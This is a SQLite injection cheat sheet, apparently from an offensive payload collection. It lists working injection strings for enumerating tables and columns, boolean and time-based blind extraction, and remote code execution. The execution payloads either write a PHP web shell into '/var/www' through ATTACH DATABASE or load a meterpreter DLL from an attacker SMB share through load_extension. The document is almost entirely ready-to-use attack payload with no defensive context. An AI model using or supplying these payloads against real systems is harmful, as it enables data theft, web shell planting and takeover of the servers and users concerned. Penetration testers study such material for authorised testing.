SQLite version

select sqlite_version();

Integer/String based - Extract table name

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

Use limit X+1 offset X, to extract all tables.

Integer/String based - Extract column name

SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'

For a clean output

SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'

Boolean - Count number of tables

and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table

Boolean - Enumerating table name

and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number

Boolean - Extract info

and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')

Time based

AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

Remote Command Execution using SQLite command - Attach Database

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

Remote Command Execution using SQLite command - Load_extension

UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

Note: By default this component is disabled
